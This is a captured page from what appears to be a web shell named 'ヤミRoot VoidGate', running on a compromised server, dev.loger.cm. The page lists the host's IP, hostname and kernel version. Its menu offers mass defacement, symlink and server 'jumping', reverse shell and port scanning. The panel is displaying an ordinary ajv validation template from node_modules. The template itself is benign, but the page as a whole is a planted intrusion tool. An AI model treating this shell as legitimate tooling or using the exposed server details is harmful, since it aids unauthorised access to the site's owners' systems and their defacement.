ヤミRoot VoidGate
User / IP
:
216.73.216.143
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
logercm
/
dev.loger.cm
/
node_modules
/
ajv
/
lib
/
dot
/
Viewing: required.jst
{{# def.definitions }} {{# def.errors }} {{# def.missing }} {{# def.setupKeyword }} {{# def.$data }} {{ var $vSchema = 'schema' + $lvl; }} {{## def.setupLoop: {{? !$isData }} var {{=$vSchema}} = validate.schema{{=$schemaPath}}; {{?}} {{ var $i = 'i' + $lvl , $propertyPath = 'schema' + $lvl + '[' + $i + ']' , $missingProperty = '\' + ' + $propertyPath + ' + \''; if (it.opts._errorDataPathProperty) { it.errorPath = it.util.getPathExpr($currentErrorPath, $propertyPath, it.opts.jsonPointers); } }} #}} {{## def.isRequiredOwnProperty: Object.prototype.hasOwnProperty.call({{=$data}}, {{=$vSchema}}[{{=$i}}]) #}} {{? !$isData }} {{? $schema.length < it.opts.loopRequired && it.schema.properties && Object.keys(it.schema.properties).length }} {{ var $required = []; }} {{~ $schema:$property }} {{ var $propertySch = it.schema.properties[$property]; }} {{? !($propertySch && {{# def.nonEmptySchema:$propertySch}}) }} {{ $required[$required.length] = $property; }} {{?}} {{~}} {{??}} {{ var $required = $schema; }} {{?}} {{?}} {{? $isData || $required.length }} {{ var $currentErrorPath = it.errorPath , $loopRequired = $isData || $required.length >= it.opts.loopRequired , $ownProperties = it.opts.ownProperties; }} {{? $breakOnError }} var missing{{=$lvl}}; {{? $loopRequired }} {{# def.setupLoop }} var {{=$valid}} = true; {{?$isData}}{{# def.check$dataIsArray }}{{?}} for (var {{=$i}} = 0; {{=$i}} < {{=$vSchema}}.length; {{=$i}}++) { {{=$valid}} = {{=$data}}[{{=$vSchema}}[{{=$i}}]] !== undefined {{? $ownProperties }} && {{# def.isRequiredOwnProperty }} {{?}}; if (!{{=$valid}}) break; } {{? $isData }} } {{?}} {{# def.checkError:'required' }} else { {{??}} if ({{# def.checkMissingProperty:$required }}) { {{# def.errorMissingProperty:'required' }} } else { {{?}} {{??}} {{? $loopRequired }} {{# def.setupLoop }} {{? $isData }} if ({{=$vSchema}} && !Array.isArray({{=$vSchema}})) { {{# def.addError:'required' }} } else if ({{=$vSchema}} !== undefined) { {{?}} for (var {{=$i}} = 0; {{=$i}} < {{=$vSchema}}.length; {{=$i}}++) { if ({{=$data}}[{{=$vSchema}}[{{=$i}}]] === undefined {{? $ownProperties }} || !{{# def.isRequiredOwnProperty }} {{?}}) { {{# def.addError:'required' }} } } {{? $isData }} } {{?}} {{??}} {{~ $required:$propertyKey }} {{# def.allErrorsMissingProperty:'required' }} {{~}} {{?}} {{?}} {{ it.errorPath = $currentErrorPath; }} {{?? $breakOnError }} if (true) { {{?}}
Coded With 💗 by
0x6ick